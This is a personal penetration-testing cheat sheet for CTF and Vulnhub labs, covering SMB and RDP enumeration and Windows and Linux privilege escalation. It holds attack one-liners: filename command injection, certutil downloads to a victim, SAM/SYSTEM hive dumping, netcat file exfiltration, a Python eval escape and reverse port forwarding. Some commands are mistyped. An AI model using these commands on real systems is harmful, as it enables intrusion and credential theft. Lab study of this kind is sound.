Skip to content

Service Enumeration


  • nmap IP --script 'smb-vuln\*' -p139,445
  • smbmap -H IP
  • Sometimes the following error occurs
    • protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
    • The fix was to add client min protocl = LANMAN1


  • Try basic payloads
  • Don't use sqlmap
    • MSSQL
    • see MAIL


  • If in remmina it doesn't connect try to change the security protocol negotiation to RDP
  • If in case you have to use proxy in remmina and SSH tunnel won't do then do the following
    • Add the connection via remmina GUI without any SSH tunnel
    • go to .local/share/remmina/ and find the file
    • Add all proxy setting there( - Backups mostly contains .gz or .bak, if any file with non root perms is there or any file without those extension then check that out.


  • If you have downloaded the VM from Website like Vulnhub or any other website then make sure you run it in host-only mode. Even though Vulnhub can be super trusted but still it's good to be paranoid.

    • Most of the VM with bridged as their default network setting.
    • Also if you want to be super paranoid then go for NAT setting but I've had issues with some VMs in NAT network setting.
  • Enumeration is the Key but only till a certain level. Lot of times the way is too guessy, too CTF type and that point enumeration doesn't help at all. So if you have done the basics of enumeration like for HTTP service fuzzing, dirsearch etc then don't worry it's totally okay to ask for a damn hint.

  • Always take a good look of what you've found

  • php file type can be bypassed by php5
  • If in a file upload the output is shown meaning it's processing the upload
    • exploit it with command injection in filename like "shell.txt;id"
  • Change Static IP
    • sudo ifconfig vmnet1 netmask
  • VMware /dev/vmmon not loaded

    • sudo vmware-modconfig --console --install-all
  • sudo vmware-modconfig --console --install-all

    • Fix the issue of vmware modprobe error
  • If cracking password for kdbx takes longer time then try finding a key file for it.

  • For git repos always check out the git logs
  • If for some reason dirsearch or gobuster doesn't work on any URL or if they show every URL as the right try to use wfuzz
    • wfuzz -c -w wordlist --hw 12 --hc 400 URLn


  • Reverse shell for windows

    • If you can upload any file then try to upload nc.exe and use that.
  • To get enumeration file use

    • certutils -urlcache -split -f URL
    • when powershell is present
      • Invoke-WebRequest URL -outfile file
  • Use powerups.ps1 enumeration script

    • Run it with powershell.exe -ExecutionPolicy Bypass -File .\powersup.ps1
  • checking privileges
whoami /all
whoami /priv
  • - Incase we need to exploit some priv - Check Disco
  • Dump SAM and System reg save HKLM\SAM c:\SAM reg save HKLM\System c:\System

  • Check file and folder permissions cacls or icacls

  • In order to see service information - sc.exe qc <servicename>
  • Path Traversal -
  • Always check whoami /priv
  • In windows run winpeas.exe like .\winpeas.exe
  • If doing manual enum run - reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"i


  • Change host timezone
    • echo "Asia/kolkata" > /etc/timezone
    • dpkg-reconfigure -f noninteractive tzdata
  • Always run dirsearch with extensions
    • python -f -e html,php,tar.gz,txt,xml,zip,jpg,png,jpeg -u IP LIST
  • Port knocking with nmap
    • for x in 066 666 3432; do nmap -Pn --max-retries 0 -p $x; done
    • If you find set of 3 numbers possible options is port knocking
  • Transfer with ncat
    • nc -q1 -lvp 1234 < file - on victim machine
    • nc IP 1234> file - on attackers machine
  • use dig axfr somedomain to actually find other zone tranfser
    • checkout tempus fugit writeup
  • If enum/sudo doesn't do any good.....check for writeable dirs
    • find / -type d 2>/dev/null
  • LFI to RCE via SSH log poisoning
  • To escape eval in python

    • `eval("import('os').system('ls')#")``
  • Remote port forwarding:

    • ssh -R port-to-frwd:internal-IP:service-port mzfr@user-IP
    • ssh -R 44325: mzfr@
  • If you don't find anything in /opt or /var/ then checkout /logs and /backups